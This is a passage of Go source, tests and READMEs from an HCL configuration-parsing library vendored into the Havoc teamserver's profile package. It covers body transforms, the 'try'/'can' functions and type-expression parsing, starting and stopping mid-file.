hcl.Diagnostics) hcl.Body { if len(diags) == 0 { // nothing to do! return body } return diagBody{ Diags: diags, Wrapped: body, } } type diagBody struct { Diags hcl.Diagnostics Wrapped hcl.Body } func (b diagBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { if b.Diags.HasErrors() { return b.emptyContent(), b.Diags } content, wrappedDiags := b.Wrapped.Content(schema) diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return content, diags } func (b diagBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { if b.Diags.HasErrors() { return b.emptyContent(), b.Wrapped, b.Diags } content, remain, wrappedDiags := b.Wrapped.PartialContent(schema) diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return content, remain, diags } func (b diagBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { if b.Diags.HasErrors() { return nil, b.Diags } attributes, wrappedDiags := b.Wrapped.JustAttributes() diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return attributes, diags } func (b diagBody) MissingItemRange() hcl.Range { if b.Wrapped != nil { return b.Wrapped.MissingItemRange() } // Placeholder. This should never be seen in practice because decoding // a diagBody without a wrapped body should always produce an error. return hcl.Range{ Filename: "", } } func (b diagBody) emptyContent() *hcl.BodyContent { return &hcl.BodyContent{ MissingItemRange: b.MissingItemRange(), } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/transform.go000066400000000000000000000056571467014221700302070ustar00rootroot00000000000000package transform import ( "Havoc/pkg/profile/yaotl" ) // Shallow is equivalent to calling transformer.TransformBody(body), and // is provided only for completeness of the top-level API. func Shallow(body hcl.Body, transformer Transformer) hcl.Body { return transformer.TransformBody(body) } // Deep applies the given transform to the given body and then // wraps the result such that any descendent blocks that are decoded will // also have the transform applied to their bodies. // // This allows for language extensions that define a particular block type // for a particular body and all nested blocks within it. // // Due to the wrapping behavior, the body resulting from this function // will not be of the type returned by the transformer. Callers may call // only the methods defined for interface hcl.Body, and may not type-assert // to access other methods. func Deep(body hcl.Body, transformer Transformer) hcl.Body { return deepWrapper{ Transformed: transformer.TransformBody(body), Transformer: transformer, } } // deepWrapper is a hcl.Body implementation that ensures that a given // transformer is applied to another given body when content is extracted, // and that it recursively applies to any child blocks that are extracted. type deepWrapper struct { Transformed hcl.Body Transformer Transformer } func (w deepWrapper) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, diags := w.Transformed.Content(schema) content = w.transformContent(content) return content, diags } func (w deepWrapper) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { content, remain, diags := w.Transformed.PartialContent(schema) content = w.transformContent(content) return content, remain, diags } func (w deepWrapper) transformContent(content *hcl.BodyContent) *hcl.BodyContent { if len(content.Blocks) == 0 { // Easy path: if there are no blocks then there are no child bodies to wrap return content } // Since we're going to change things here, we'll be polite and clone the // structure so that we don't risk impacting any internal state of the // original body. ret := &hcl.BodyContent{ Attributes: content.Attributes, MissingItemRange: content.MissingItemRange, Blocks: make(hcl.Blocks, len(content.Blocks)), } for i, givenBlock := range content.Blocks { // Shallow-copy the block so we can mutate it newBlock := *givenBlock newBlock.Body = Deep(newBlock.Body, w.Transformer) ret.Blocks[i] = &newBlock } return ret } func (w deepWrapper) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { // Attributes can't have bodies or nested blocks, so this is just a thin wrapper. return w.Transformed.JustAttributes() } func (w deepWrapper) MissingItemRange() hcl.Range { return w.Transformed.MissingItemRange() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/transform_test.go000066400000000000000000000054441467014221700312400ustar00rootroot00000000000000package transform import ( "testing" "reflect" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcltest" "github.com/zclconf/go-cty/cty" ) // Assert that deepWrapper implements Body var deepWrapperIsBody hcl.Body = deepWrapper{} func TestDeep(t *testing.T) { testTransform := TransformerFunc(func(body hcl.Body) hcl.Body { _, remain, diags := body.PartialContent(&hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "remove", }, }, }) return BodyWithDiagnostics(remain, diags) }) src := hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "true": hcltest.MockExprLiteral(cty.True), }), Blocks: []*hcl.Block{ { Type: "remove", Body: hcl.EmptyBody(), }, { Type: "child", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: []*hcl.Block{ { Type: "remove", }, }, }), }, }, }) wrapped := Deep(src, testTransform) rootContent, diags := wrapped.Content(&hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "true", }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "child", }, }, }) if len(diags) != 0 { t.Errorf("unexpected diagnostics for root content") for _, diag := range diags { t.Logf("- %s", diag) } } wantAttrs := hcltest.MockAttrs(map[string]hcl.Expression{ "true": hcltest.MockExprLiteral(cty.True), }) if !reflect.DeepEqual(rootContent.Attributes, wantAttrs) { t.Errorf("wrong root attributes\ngot: %#v\nwant: %#v", rootContent.Attributes, wantAttrs) } if got, want := len(rootContent.Blocks), 1; got != want { t.Fatalf("wrong number of root blocks %d; want %d", got, want) } if got, want := rootContent.Blocks[0].Type, "child"; got != want { t.Errorf("wrong block type %s; want %s", got, want) } childBlock := rootContent.Blocks[0] childContent, diags := childBlock.Body.Content(&hcl.BodySchema{}) if len(diags) != 0 { t.Errorf("unexpected diagnostics for child content") for _, diag := range diags { t.Logf("- %s", diag) } } if len(childContent.Attributes) != 0 { t.Errorf("unexpected attributes in child content; want empty content") } if len(childContent.Blocks) != 0 { t.Errorf("unexpected blocks in child content; want empty content") } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/transformer.go000066400000000000000000000021261467014221700305220ustar00rootroot00000000000000package transform import ( "Havoc/pkg/profile/yaotl" ) // A Transformer takes a given body, applies some (possibly no-op) // transform to it, and returns the new body. // // It must _not_ mutate the given body in-place. // // The transform call cannot fail, but it _can_ return a body that immediately // returns diagnostics when its methods are called. NewErrorBody is a utility // to help with this. type Transformer interface { TransformBody(hcl.Body) hcl.Body } // TransformerFunc is a function type that implements Transformer. type TransformerFunc func(hcl.Body) hcl.Body // TransformBody is an implementation of Transformer.TransformBody. func (f TransformerFunc) TransformBody(in hcl.Body) hcl.Body { return f(in) } type chain []Transformer // Chain takes a slice of transformers and returns a single new // Transformer that applies each of the given transformers in sequence. func Chain(c []Transformer) Transformer { return chain(c) } func (c chain) TransformBody(body hcl.Body) hcl.Body { for _, t := range c { body = t.TransformBody(body) } return body } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/tryfunc/000077500000000000000000000000001467014221700253075ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/tryfunc/README.md000066400000000000000000000026501467014221700265710ustar00rootroot00000000000000# "Try" and "can" functions This Go package contains two `cty` functions intended for use in an `hcl.EvalContext` when evaluating HCL native syntax expressions. The first function `try` attempts to evaluate each of its argument expressions in order until one produces a result without any errors. ```hcl try(non_existent_variable, 2) # returns 2 ``` If none of the expressions succeed, the function call fails with all of the errors it encountered. The second function `can` is similar except that it ignores the result of the given expression altogether and simply returns `true` if the expression produced a successful result or `false` if it produced errors. Both of these are primarily intended for working with deep data structures which might not have a dependable shape. For example, we can use `try` to attempt to fetch a value from deep inside a data structure but produce a default value if any step of the traversal fails: ```hcl result = try(foo.deep[0].lots.of["traversals"], null) ``` The final result to `try` should generally be some sort of constant value that will always evaluate successfully. ## Using these functions Languages built on HCL can make `try` and `can` available to user code by exporting them in the `hcl.EvalContext` used for expression evaluation: ```go ctx := &hcl.EvalContext{ Functions: map[string]function.Function{ "try": tryfunc.TryFunc, "can": tryfunc.CanFunc, }, } ``` havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc.go000066400000000000000000000133751467014221700273410ustar00rootroot00000000000000// Package tryfunc contains some optional functions that can be exposed in // HCL-based languages to allow authors to test whether a particular expression // can succeed and take dynamic action based on that result. // // These functions are implemented in terms of the customdecode extension from // the sibling directory "customdecode", and so they are only useful when // used within an HCL EvalContext. Other systems using cty functions are // unlikely to support the HCL-specific "customdecode" extension. package tryfunc import ( "errors" "fmt" "strings" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) // TryFunc is a variadic function that tries to evaluate all of is arguments // in sequence until one succeeds, in which case it returns that result, or // returns an error if none of them succeed. var TryFunc function.Function // CanFunc tries to evaluate the expression given in its first argument. var CanFunc function.Function func init() { TryFunc = function.New(&function.Spec{ VarParam: &function.Parameter{ Name: "expressions", Type: customdecode.ExpressionClosureType, }, Type: func(args []cty.Value) (cty.Type, error) { v, err := try(args) if err != nil { return cty.NilType, err } return v.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { return try(args) }, }) CanFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "expression", Type: customdecode.ExpressionClosureType, }, }, Type: function.StaticReturnType(cty.Bool), Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { return can(args[0]) }, }) } func try(args []cty.Value) (cty.Value, error) { if len(args) == 0 { return cty.NilVal, errors.New("at least one argument is required") } // We'll collect up all of the diagnostics we encounter along the way // and report them all if none of the expressions succeed, so that the // user might get some hints on how to make at least one succeed. var diags hcl.Diagnostics for _, arg := range args { closure := customdecode.ExpressionClosureFromVal(arg) if dependsOnUnknowns(closure.Expression, closure.EvalContext) { // We can't safely decide if this expression will succeed yet, // and so our entire result must be unknown until we have // more information. return cty.DynamicVal, nil } v, moreDiags := closure.Value() diags = append(diags, moreDiags...) if moreDiags.HasErrors() { continue // try the next one, if there is one to try } return v, nil // ignore any accumulated diagnostics if one succeeds } // If we fall out here then none of the expressions succeeded, and so // we must have at least one diagnostic and we'll return all of them // so that the user can see the errors related to whichever one they // were expecting to have succeeded in this case. // // Because our function must return a single error value rather than // diagnostics, we'll construct a suitable error message string // that will make sense in the context of the function call failure // diagnostic HCL will eventually wrap this in. var buf strings.Builder buf.WriteString("no expression succeeded:\n") for _, diag := range diags { if diag.Subject != nil { buf.WriteString(fmt.Sprintf("- %s (at %s)\n %s\n", diag.Summary, diag.Subject, diag.Detail)) } else { buf.WriteString(fmt.Sprintf("- %s\n %s\n", diag.Summary, diag.Detail)) } } buf.WriteString("\nAt least one expression must produce a successful result") return cty.NilVal, errors.New(buf.String()) } func can(arg cty.Value) (cty.Value, error) { closure := customdecode.ExpressionClosureFromVal(arg) if dependsOnUnknowns(closure.Expression, closure.EvalContext) { // Can't decide yet, then. return cty.UnknownVal(cty.Bool), nil } _, diags := closure.Value() if diags.HasErrors() { return cty.False, nil } return cty.True, nil } // dependsOnUnknowns returns true if any of the variables that the given // expression might access are unknown values or contain unknown values. // // This is a conservative result that prefers to return true if there's any // chance that the expression might derive from an unknown value during its // evaluation; it is likely to produce false-positives for more complex // expressions involving deep data structures. func dependsOnUnknowns(expr hcl.Expression, ctx *hcl.EvalContext) bool { for _, traversal := range expr.Variables() { val, diags := traversal.TraverseAbs(ctx) if diags.HasErrors() { // If the traversal returned a definitive error then it must // not traverse through any unknowns. continue } if !val.IsWhollyKnown() { // The value will be unknown if either it refers directly to // an unknown value or if the traversal moves through an unknown // collection. We're using IsWhollyKnown, so this also catches // situations where the traversal refers to a compound data // structure that contains any unknown values. That's important, // because during evaluation the expression might evaluate more // deeply into this structure and encounter the unknowns. return true } } return false } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc_test.go000066400000000000000000000166251467014221700304010ustar00rootroot00000000000000package tryfunc import ( "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) func TestTryFunc(t *testing.T) { tests := map[string]struct { expr string vars map[string]cty.Value want cty.Value wantErr string }{ "one argument succeeds": { `try(1)`, nil, cty.NumberIntVal(1), ``, }, "one marked argument succeeds": { `try(sensitive)`, map[string]cty.Value{ "sensitive": cty.StringVal("secret").Mark("porpoise"), }, cty.StringVal("secret").Mark("porpoise"), ``, }, "two arguments, first succeeds": { `try(1, 2)`, nil, cty.NumberIntVal(1), ``, }, "two arguments, first fails": { `try(nope, 2)`, nil, cty.NumberIntVal(2), ``, }, "two arguments, first depends on unknowns": { `try(unknown, 2)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.DynamicVal, // can't proceed until first argument is known ``, }, "two arguments, first succeeds and second depends on unknowns": { `try(1, unknown)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.NumberIntVal(1), // we know 1st succeeds, so it doesn't matter that 2nd is unknown ``, }, "two arguments, first depends on unknowns deeply": { `try(has_unknowns, 2)`, map[string]cty.Value{ "has_unknowns": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}), }, cty.DynamicVal, // can't proceed until first argument is wholly known ``, }, "two arguments, first traverses through an unkown": { `try(unknown.baz, 2)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Map(cty.String)), }, cty.DynamicVal, // can't proceed until first argument is wholly known ``, }, "two arguments, both marked, first succeeds": { `try(sensitive, other)`, map[string]cty.Value{ "sensitive": cty.StringVal("secret").Mark("porpoise"), "other": cty.StringVal("that").Mark("a"), }, cty.StringVal("secret").Mark("porpoise"), ``, }, "two arguments, both marked, second succeeds": { `try(sensitive, other)`, map[string]cty.Value{ "other": cty.StringVal("that").Mark("a"), }, cty.StringVal("that").Mark("a"), ``, }, "two arguments, result is element of marked list ": { `try(sensitive[0], other)`, map[string]cty.Value{ "sensitive": cty.ListVal([]cty.Value{ cty.StringVal("list"), cty.StringVal("of "), cty.StringVal("secrets"), }).Mark("secret"), "other": cty.StringVal("not"), }, cty.StringVal("list").Mark("secret"), ``, }, "three arguments, all fail": { `try(this, that, this_thing_in_particular)`, nil, cty.NumberIntVal(2), // The grammar of this stringification of the message is unfortunate, // but caller can type-assert our result to get the original // diagnostics directly in order to produce a better result. `test.hcl:1,1-5: Error in function call; Call to function "try" failed: no expression succeeded: - Variables not allowed (at test.hcl:1,5-9) Variables may not be used here. - Variables not allowed (at test.hcl:1,11-15) Variables may not be used here. - Variables not allowed (at test.hcl:1,17-41) Variables may not be used here. At least one expression must produce a successful result.`, }, "no arguments": { `try()`, nil, cty.NilVal, `test.hcl:1,1-5: Error in function call; Call to function "try" failed: at least one argument is required.`, }, } for k, test := range tests { t.Run(k, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.expr), "test.hcl", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("unexpected problems: %s", diags.Error()) } ctx := &hcl.EvalContext{ Variables: test.vars, Functions: map[string]function.Function{ "try": TryFunc, }, } got, err := expr.Value(ctx) if err != nil { if test.wantErr != "" { if got, want := err.Error(), test.wantErr; got != want { t.Errorf("wrong error\ngot: %s\nwant: %s", got, want) } } else { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } return } if test.wantErr != "" { t.Errorf("wrong error\ngot: \nwant: %s", test.wantErr) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } func TestCanFunc(t *testing.T) { tests := map[string]struct { expr string vars map[string]cty.Value want cty.Value }{ "succeeds": { `can(1)`, nil, cty.True, }, "fails": { `can(nope)`, nil, cty.False, }, "simple unknown": { `can(unknown)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.UnknownVal(cty.Bool), }, "traversal through unknown": { `can(unknown.foo)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Map(cty.Number)), }, cty.UnknownVal(cty.Bool), }, "deep unknown": { `can(has_unknown)`, map[string]cty.Value{ "has_unknown": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}), }, cty.UnknownVal(cty.Bool), }, } for k, test := range tests { t.Run(k, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.expr), "test.hcl", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("unexpected problems: %s", diags.Error()) } ctx := &hcl.EvalContext{ Variables: test.vars, Functions: map[string]function.Function{ "can": CanFunc, }, } got, err := expr.Value(ctx) if err != nil { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/000077500000000000000000000000001467014221700254755ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/README.md000066400000000000000000000132551467014221700267620ustar00rootroot00000000000000# HCL Type Expressions Extension This HCL extension defines a convention for describing HCL types using function call and variable reference syntax, allowing configuration formats to include type information provided by users. The type syntax is processed statically from a hcl.Expression, so it cannot use any of the usual language operators. This is similar to type expressions in statically-typed programming languages. ```hcl variable "example" { type = list(string) } ``` The extension is built using the `hcl.ExprAsKeyword` and `hcl.ExprCall` functions, and so it relies on the underlying syntax to define how "keyword" and "call" are interpreted. The above shows how they are interpreted in the HCL native syntax, while the following shows the same information expressed in JSON: ```json { "variable": { "example": { "type": "list(string)" } } } ``` Notice that since we have additional contextual information that we intend to allow only calls and keywords the JSON syntax is able to parse the given string directly as an expression, rather than as a template as would be the case for normal expression evaluation. For more information, see [the godoc reference](http://godoc.org/Havoc/pkg/profile/yaotl/ext/typeexpr). ## Type Expression Syntax When expressed in the native syntax, the following expressions are permitted in a type expression: * `string` - string * `bool` - boolean * `number` - number * `any` - `cty.DynamicPseudoType` (in function `TypeConstraint` only) * `list()` - list of the type given as an argument * `set()` - set of the type given as an argument * `map()` - map of the type given as an argument * `tuple([])` - tuple with the element types given in the single list argument * `object({=, ...}` - object with the attributes and corresponding types given in the single map argument For example: * `list(string)` * `object({name=string,age=number})` * `map(object({name=string,age=number}))` Note that the object constructor syntax is not fully-general for all possible object types because it requires the attribute names to be valid identifiers. In practice it is expected that any time an object type is being fixed for type checking it will be one that has identifiers as its attributes; object types with weird attributes generally show up only from arbitrary object constructors in configuration files, which are usually treated either as maps or as the dynamic pseudo-type. ## Type Constraints as Values Along with defining a convention for writing down types using HCL expression constructs, this package also includes a mechanism for representing types as values that can be used as data within an HCL-based language. `typeexpr.TypeConstraintType` is a [`cty` capsule type](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types) that encapsulates `cty.Type` values. You can construct such a value directly using the `TypeConstraintVal` function: ```go tyVal := typeexpr.TypeConstraintVal(cty.String) // We can unpack the type from a value using TypeConstraintFromVal ty := typeExpr.TypeConstraintFromVal(tyVal) ``` However, the primary purpose of `typeexpr.TypeConstraintType` is to be specified as the type constraint for an argument, in which case it serves as a signal for HCL to treat the argument expression as a type constraint expression as defined above, rather than as a normal value expression. "An argument" in the above in practice means the following two locations: * As the type constraint for a parameter of a cty function that will be used in an `hcl.EvalContext`. In that case, function calls in the HCL native expression syntax will require the argument to be valid type constraint expression syntax and the function implementation will receive a `TypeConstraintType` value as the argument value for that parameter. * As the type constraint for a `hcldec.AttrSpec` or `hcldec.BlockAttrsSpec` when decoding an HCL body using `hcldec`. In that case, the attributes with that type constraint will be required to be valid type constraint expression syntax and the result will be a `TypeConstraintType` value. Note that the special handling of these arguments means that an argument marked in this way must use the type constraint syntax directly. It is not valid to pass in a value of `TypeConstraintType` that has been obtained dynamically via some other expression result. `TypeConstraintType` is provided with the intent of using it internally within application code when incorporating type constraint expression syntax into an HCL-based language, not to be used for dynamic "programming with types". A calling application could support programming with types by defining its _own_ capsule type, but that is not the purpose of `TypeConstraintType`. ## The "convert" `cty` Function Building on the `TypeConstraintType` described in the previous section, this package also provides `typeexpr.ConvertFunc` which is a cty function that can be placed into a `cty.EvalContext` (conventionally named "convert") in order to provide a general type conversion function in an HCL-based language: ```hcl foo = convert("true", bool) ``` The second parameter uses the mechanism described in the previous section to require its argument to be a type constraint expression rather than a value expression. In doing so, it allows converting with any type constraint that can be expressed in this package's type constraint syntax. In the above example, the `foo` argument would receive a boolean true, or `cty.True` in `cty` terms. The target type constraint must always be provided statically using inline type constraint syntax. There is no way to _dynamically_ select a type constraint using this function. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/doc.go000066400000000000000000000006201467014221700265670ustar00rootroot00000000000000// Package typeexpr extends HCL with a convention for describing HCL types // within configuration files. // // The type syntax is processed statically from a hcl.Expression, so it cannot // use any of the usual language operators. This is similar to type expressions // in statically-typed programming languages. // // variable "example" { // type = list(string) // } package typeexpr havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/get_type.go000066400000000000000000000173341467014221700276540ustar00rootroot00000000000000package typeexpr import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) const invalidTypeSummary = "Invalid type specification" // getType is the internal implementation of both Type and TypeConstraint, // using the passed flag to distinguish. When constraint is false, the "any" // keyword will produce an error. func getType(expr hcl.Expression, constraint bool) (cty.Type, hcl.Diagnostics) { // First we'll try for one of our keywords kw := hcl.ExprAsKeyword(expr) switch kw { case "bool": return cty.Bool, nil case "string": return cty.String, nil case "number": return cty.Number, nil case "any": if constraint { return cty.DynamicPseudoType, nil } return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The keyword %q cannot be used in this type specification: an exact type is required.", kw), Subject: expr.Range().Ptr(), }} case "list", "map", "set": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The %s type constructor requires one argument specifying the element type.", kw), Subject: expr.Range().Ptr(), }} case "object": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The object type constructor requires one argument specifying the attribute types and values as a map.", Subject: expr.Range().Ptr(), }} case "tuple": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The tuple type constructor requires one argument specifying the element types as a list.", Subject: expr.Range().Ptr(), }} case "": // okay! we'll fall through and try processing as a call, then. default: return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The keyword %q is not a valid type specification.", kw), Subject: expr.Range().Ptr(), }} } // If we get down here then our expression isn't just a keyword, so we'll // try to process it as a call instead. call, diags := hcl.ExprCall(expr) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).", Subject: expr.Range().Ptr(), }} } switch call.Name { case "bool", "string", "number", "any": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("Primitive type keyword %q does not expect arguments.", call.Name), Subject: &call.ArgsRange, }} } if len(call.Arguments) != 1 { contextRange := call.ArgsRange subjectRange := call.ArgsRange if len(call.Arguments) > 1 { // If we have too many arguments (as opposed to too _few_) then // we'll highlight the extraneous arguments as the diagnostic // subject. subjectRange = hcl.RangeBetween(call.Arguments[1].Range(), call.Arguments[len(call.Arguments)-1].Range()) } switch call.Name { case "list", "set", "map": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The %s type constructor requires one argument specifying the element type.", call.Name), Subject: &subjectRange, Context: &contextRange, }} case "object": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The object type constructor requires one argument specifying the attribute types and values as a map.", Subject: &subjectRange, Context: &contextRange, }} case "tuple": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The tuple type constructor requires one argument specifying the element types as a list.", Subject: &subjectRange, Context: &contextRange, }} } } switch call.Name { case "list": ety, diags := getType(call.Arguments[0], constraint) return cty.List(ety), diags case "set": ety, diags := getType(call.Arguments[0], constraint) return cty.Set(ety), diags case "map": ety, diags := getType(call.Arguments[0], constraint) return cty.Map(ety), diags case "object": attrDefs, diags := hcl.ExprMap(call.Arguments[0]) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.", Subject: call.Arguments[0].Range().Ptr(), Context: expr.Range().Ptr(), }} } atys := make(map[string]cty.Type) for _, attrDef := range attrDefs { attrName := hcl.ExprAsKeyword(attrDef.Key) if attrName == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Object constructor map keys must be attribute names.", Subject: attrDef.Key.Range().Ptr(), Context: expr.Range().Ptr(), }) continue } aty, attrDiags := getType(attrDef.Value, constraint) diags = append(diags, attrDiags...) atys[attrName] = aty } return cty.Object(atys), diags case "tuple": elemDefs, diags := hcl.ExprList(call.Arguments[0]) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Tuple type constructor requires a list of element types.", Subject: call.Arguments[0].Range().Ptr(), Context: expr.Range().Ptr(), }} } etys := make([]cty.Type, len(elemDefs)) for i, defExpr := range elemDefs { ety, elemDiags := getType(defExpr, constraint) diags = append(diags, elemDiags...) etys[i] = ety } return cty.Tuple(etys), diags default: // Can't access call.Arguments in this path because we've not validated // that it contains exactly one expression here. return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("Keyword %q is not a valid type constructor.", call.Name), Subject: expr.Range().Ptr(), }} } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/get_type_test.go000066400000000000000000000233231467014221700307060ustar00rootroot00000000000000package typeexpr import ( "testing" "Havoc/pkg/profile/yaotl/gohcl" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl/json" "github.com/zclconf/go-cty/cty" ) func TestGetType(t *testing.T) { tests := []struct { Source string Constraint bool Want cty.Type WantError string }{ // keywords { `bool`, false, cty.Bool, "", }, { `number`, false, cty.Number, "", }, { `string`, false, cty.String, "", }, { `any`, false, cty.DynamicPseudoType, `The keyword "any" cannot be used in this type specification: an exact type is required.`, }, { `any`, true, cty.DynamicPseudoType, "", }, { `list`, false, cty.DynamicPseudoType, "The list type constructor requires one argument specifying the element type.", }, { `map`, false, cty.DynamicPseudoType, "The map type constructor requires one argument specifying the element type.", }, { `set`, false, cty.DynamicPseudoType, "The set type constructor requires one argument specifying the element type.", }, { `object`, false, cty.DynamicPseudoType, "The object type constructor requires one argument specifying the attribute types and values as a map.", }, { `tuple`, false, cty.DynamicPseudoType, "The tuple type constructor requires one argument specifying the element types as a list.", }, // constructors { `bool()`, false, cty.DynamicPseudoType, `Primitive type keyword "bool" does not expect arguments.`, }, { `number()`, false, cty.DynamicPseudoType, `Primitive type keyword "number" does not expect arguments.`, }, { `string()`, false, cty.DynamicPseudoType, `Primitive type keyword "string" does not expect arguments.`, }, { `any()`, false, cty.DynamicPseudoType, `Primitive type keyword "any" does not expect arguments.`, }, { `any()`, true, cty.DynamicPseudoType, `Primitive type keyword "any" does not expect arguments.`, }, { `list(string)`, false, cty.List(cty.String), ``, }, { `set(string)`, false, cty.Set(cty.String), ``, }, { `map(string)`, false, cty.Map(cty.String), ``, }, { `list()`, false, cty.DynamicPseudoType, `The list type constructor requires one argument specifying the element type.`, }, { `list(string, string)`, false, cty.DynamicPseudoType, `The list type constructor requires one argument specifying the element type.`, }, { `list(any)`, false, cty.List(cty.DynamicPseudoType), `The keyword "any" cannot be used in this type specification: an exact type is required.`, }, { `list(any)`, true, cty.List(cty.DynamicPseudoType), ``, }, { `object({})`, false, cty.EmptyObject, ``, }, { `object({name=string})`, false, cty.Object(map[string]cty.Type{"name": cty.String}), ``, }, { `object({"name"=string})`, false, cty.EmptyObject, `Object constructor map keys must be attribute names.`, }, { `object({name=nope})`, false, cty.Object(map[string]cty.Type{"name": cty.DynamicPseudoType}), `The keyword "nope" is not a valid type specification.`, }, { `object()`, false, cty.DynamicPseudoType, `The object type constructor requires one argument specifying the attribute types and values as a map.`, }, { `object(string)`, false, cty.DynamicPseudoType, `Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.`, }, { `tuple([])`, false, cty.EmptyTuple, ``, }, { `tuple([string, bool])`, false, cty.Tuple([]cty.Type{cty.String, cty.Bool}), ``, }, { `tuple([nope])`, false, cty.Tuple([]cty.Type{cty.DynamicPseudoType}), `The keyword "nope" is not a valid type specification.`, }, { `tuple()`, false, cty.DynamicPseudoType, `The tuple type constructor requires one argument specifying the element types as a list.`, }, { `tuple(string)`, false, cty.DynamicPseudoType, `Tuple type constructor requires a list of element types.`, }, { `shwoop(string)`, false, cty.DynamicPseudoType, `Keyword 